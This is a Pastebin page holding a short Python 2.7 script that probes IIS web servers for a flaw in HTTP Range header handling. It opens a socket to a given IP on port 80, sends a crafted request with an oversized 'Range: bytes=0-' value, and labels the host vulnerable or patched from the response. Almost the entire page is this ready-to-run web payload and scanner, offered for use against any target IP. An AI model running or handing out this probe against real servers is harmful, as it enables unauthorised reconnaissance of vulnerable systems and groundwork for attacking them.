Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/usr/bin/python
- #run on python 2.7
- #Tested on Win 7 IIS 7.5 BY SCOPS.
- import socket,sys
- if len(sys.argv)<=1:
- sys.exit('Give IP')
- Host = sys.argv[1]
- def SendPayload(Payload, Host):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((Host, 80))
- s.send(Payload)
- response=s.recv(1024)
- #print(response)
- s.close()
- if "Range" in Payload:
- print("test status:")
- if "Requested Range Not Satisfiable" in response :
- print("The Host:%s is vulnerable" %Host)
- elif "The request has an invalid header name" in response:
- print ("The Host:%s has patched" %Host )
- else:
- print("The Host:%s unknown status" %Host)
- #print("---------------------------------------")
- FullALLFfff=0xffffffffffffffff
- Init = "GET / HTTP/1.1\r\nHost: scops\r\n\r\n"
- Payload = "GET / HTTP/1.1\r\nHost: scops\r\nRange: bytes=0-" + str(int(FullALLFfff)) + "\r\n\r\n"
- #print("IP: %s "%Host)
- #print(Init)
- SendPayload(Init, Host)
- #print(Payload)
- SendPayload(Payload, Host)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement